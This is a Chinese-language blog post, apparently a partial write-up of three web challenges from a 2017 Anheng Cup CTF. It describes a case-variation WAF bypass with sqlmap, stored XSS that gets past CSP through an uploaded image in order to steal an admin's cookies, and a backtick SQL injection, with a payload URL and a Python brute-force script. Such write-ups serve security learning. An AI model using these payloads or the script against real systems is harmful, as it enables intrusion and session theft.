码迷,mamicode.com
首页 > 其他好文 > 详细

安恒杯十一月比赛部分writeup

时间:2017-11-12 20:12:43      阅读:668      评论:0      收藏:0      [点我收藏+]

标签:cookie   alt   tar   size   die   dom   ring   sts   标签   

Web1 绕过看门狗

简单尝试了一下,大小写绕过就可以。sqlmap直接加个randomcase.py的tamper即可,当然写脚本来跑也是可以的。

Web2   jshunt

打开链接,看到一个上传点和一个留言板。输入<img src=#onerror=alert(1)/>,提示“非法标签”,最后发现只能使用script。

之后把重点放在script,fuzz发现只能使用src属性,尝试包含js文件,提示“禁止包含js文件”。

包含外部js文件同样报错,同时观察返回包,发现使用了csp策略,包含外部js也是行不通了:

技术分享

别忘了我们还有一个可以上传的地方:

技术分享

上次带有js代码的图片,然后使用SRC加载文件,留言给管理员,返回信息提示代码是成功的,然后就能收cookie了。

Web3 babysql:

过滤了union,column_name,*。

http://www.wupco.cn/?p=3764参考了这里才找到了注入点。。

$sql = "desc `error_{$table}`";
$res = mysql_query($sql);
if(empty(mysql_fetch_array($res))){
    echo "<center>no table detail</center>";
    die();
}
$sql = "select * from error_${table} where id = $id";

 得知desc能判断table师傅存在,如果存在才会执行下一条语句。

payload:

http://114.55.36.69:20680/index.php?table=flag` `a%&id=3

 写个脚本跑:

#!/usr/bin/env
# -*- coding: utf-8 -*-
import requests as r
import string
r1=r.session()
s=string.printable
flag=""
for i in range(50):
  url="http://192.168.1.1/index.php?table=flag` `{0}%&id=3"
  for j in s:
    url2=url.format(str(flag+j))
    r2=r1.get(url2)
    if "SQL" in r2.text:
      flag+=j
      print flag
      break

安恒杯十一月比赛部分writeup

标签:cookie   alt   tar   size   die   dom   ring   sts   标签   

原文地址:http://www.cnblogs.com/ur10ser/p/7822632.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!